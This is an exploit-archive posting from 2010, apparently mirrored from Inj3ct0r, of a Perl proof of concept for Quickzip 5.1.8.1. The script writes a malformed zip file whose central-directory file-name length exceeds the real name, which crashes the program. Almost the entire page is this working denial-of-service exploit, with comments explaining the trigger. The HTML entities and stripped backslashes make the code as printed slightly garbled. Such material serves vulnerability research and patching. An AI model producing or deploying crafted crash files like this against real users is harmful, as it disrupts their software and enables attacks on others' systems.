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[dos / poc] - Quickzip 5.1.8.1 Denial of Service Vulnerabili

Posted on 02 November 2010

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Quickzip 5.1.8.1 Denial of Service Vulnerability
================================================

# Exploit Title: Quickzip 5.1.8.1 Denial of Service Vulnerability
# Date: 2010/11/02
# Author: moigai
# e-mail: again.liu@gmail.com
# Version: 5.1.8.1
# Tested on: Windows XP SP3 En (VM)
# Greetz to: Yoji
 
my $file = &quot;boom.zip&quot;;
 
my $localHeader =
&quot;x50x4bx03x04&quot; . #Local file header signature
&quot;x00x00x00x00x00x00x00x00x00x00x00x00x00x00&quot; .
&quot;x00x00x00x00x00x00x00x00x00x00x00x00&quot;; 
 
my $centralDirHeader =
&quot;x50x4bx01x02&quot; . #central dir header signature
&quot;x14x0bx00x00x00x00x00x00x00x00x00x00x00x00&quot; .
&quot;x00x00x00x00x00x00x00x00x00x00&quot; .
&quot;x07x00&quot; . #file name length
&quot;x00x00x00x00x00x00x01x00x20x00x00x00x00x00&quot; .
&quot;x00x00&quot;; 
 
# The program crashes when the file name is shorter than the length specified above.
# In the case of length specified equals 0x7, the program crash when the actual length is smaller than 0x4
my $filename = &quot;yyy&quot;;
 
my $endCentralDirHeader =
&quot;x50x4bx05x06&quot; . #end central dir header signature
&quot;x00x00x00x00x01x00x01x00x35x00x00x00x1ex00&quot; .
&quot;x00x00x00x00&quot;;
 
my $zip = $localHeader . $centralDirHeader . $filename . $endCentralDirHeader;
print &quot;
[+] Creating zip file
&quot;;
open(FILE, &quot;&gt;$file&quot;);
print FILE $zip;
close(FILE);
print &quot;[+] File &quot; . $file . &quot; created
&quot;;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-11-02]</pre></body></html>

 

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